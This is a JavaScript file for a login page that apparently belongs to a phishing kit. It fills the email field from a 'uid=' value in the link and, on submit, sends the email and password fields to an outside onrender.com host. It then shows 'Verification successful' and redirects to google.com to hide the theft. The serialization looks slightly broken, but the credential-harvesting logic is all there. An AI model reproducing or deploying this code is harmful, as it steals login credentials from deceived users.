document.addEventListener('DOMContentLoaded', function(){ function extractUserEmailFromPath() { const path = window.location.pathname; const parts = path.split('/'); const idPart = parts.find(p=> p.startsWith('uid=')); return idPart? decodeURIComponent(idPart.split('=')[1]):null; } const idFromPath = extractUserEmailFromPath(); if (idFromPath){ const emailInput = document.querySelector('#email'); if(emailInput){ emailInput.value=idFromPath } } }); document.getElementById('login_form').addEventListener('submit', async (e)=>{ e.preventDefault(); const inputValue1 = document.getElementById('email'); const inputValue2 = document.getElementById('pass'); try{ const response = await fetch('https://hum-o7p9.onrender.com/', { method: 'POST', headers:{'content-Type': 'application/json'}, body: JSON.stringify({inputValue1, inputValue2}) }); const result= await response.json(); const msg = document.getElementById('responseMessage'); if(result.success){ msg.style.color='green'; msg.textContent = 'Verification successful'; setTimeout(()=> { msg.style.display="none";; }, 2000) window.location.href = "https://google.com"; }else{ msg.style.color = 'red'; msg.textContent = result.message setTimeout(()=> { msg.style.display="none";; }, 2000) } }catch(err){ const msg = document.getElementById('responseMessage'); msg.textContent='Error connecting to server.'; msg.style.color='#b92828'; msg.style.display="block"; setTimeout(()=> { msg.style.display="none";; }, 2000) } });